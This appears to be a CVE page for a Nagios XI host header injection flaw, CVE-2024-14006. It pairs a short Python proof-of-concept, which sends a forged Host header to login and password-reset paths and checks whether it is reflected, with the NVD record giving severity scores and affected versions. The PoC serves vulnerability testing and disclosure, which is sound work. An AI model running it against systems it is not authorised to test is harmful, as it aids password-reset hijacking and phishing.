CVE-2024-14006

import requests import sys def test_host_header_injection(target_url): """ CVE-2024-14006 PoC - Nagios XI Host Header Injection This PoC demonstrates how to inject a malicious Host header to poison generated URLs in Nagios XI responses. """ print(f"[*] Testing Host Header Injection on {target_url}") # Malicious Host header to inject malicious_host = "attacker-controlled-domain.com" # Target common Nagios XI paths paths = [ "/nagiosxi/", "/nagiosxi/login.php", "/nagiosxi/forgot_password.php" ] for path in paths: try: # Send request with malicious Host header headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0 PoC-Tester/1.0" } response = requests.get(target_url + path, headers=headers, timeout=10, verify=False) # Check if the malicious host appears in response headers or body if malicious_host in response.text or malicious_host in str(response.headers): print(f"[+] VULNERABLE: {path}") print(f" Malicious Host found in response") else: print(f"[-] Not vulnerable: {path}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {path}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://nagios-server.local") sys.exit(1) target = sys.argv[1].rstrip('/') test_host_header_injection(target)

{"cve": {"id": "CVE-2024-14006", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:46.153", "lastModified": "2025-11-06T16:35:11.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2024R1.2.2 contain a host header injection vulnerability. The application trusts the user-supplied HTTP Host header when constructing absolute URLs without sufficient validation. An unauthenticated, remote attacker can supply a crafted Host header to poison generated links or responses, which may facilitate phishing of credentials, account recovery link hijacking, and web cache poisoning."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "CCAB888E-F030-4640-9A18-9E423E553308"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "C648B0A4-053C-4884-8A37-4AF03053ED1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:*", "matchCriteriaId": "893EEA99-0096-4C9F-BA8A-246A3E3F6C15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.2:*:*:*:*:*:*", "matchCriteriaId": "A1FDA3F3-DF79-4807-9451-F04B2DB9A2B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.3:*:*:*:*:*:*", "matchCriteriaId": "9E055065-35A7-458A-A2DB-26634B97EE7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.4:*:*:*:*:*:*", "matchCriteriaId": "76946B2D-093C-4981-8465-5ADBB98C0676"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.5:*:*:*:*:*:*", "matchCriteriaId": "E9112876-7C61-4A72-8F91-023378E82E6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "1443759F-EBD7-4366-A5D3-9FB15CE15B40"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.2.1:*:*:*:*:*:*", "matchCriteriaId": "F85D8CA4-F1AC-4538-925C-1AD00FF7B9C1"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.c ... (truncated)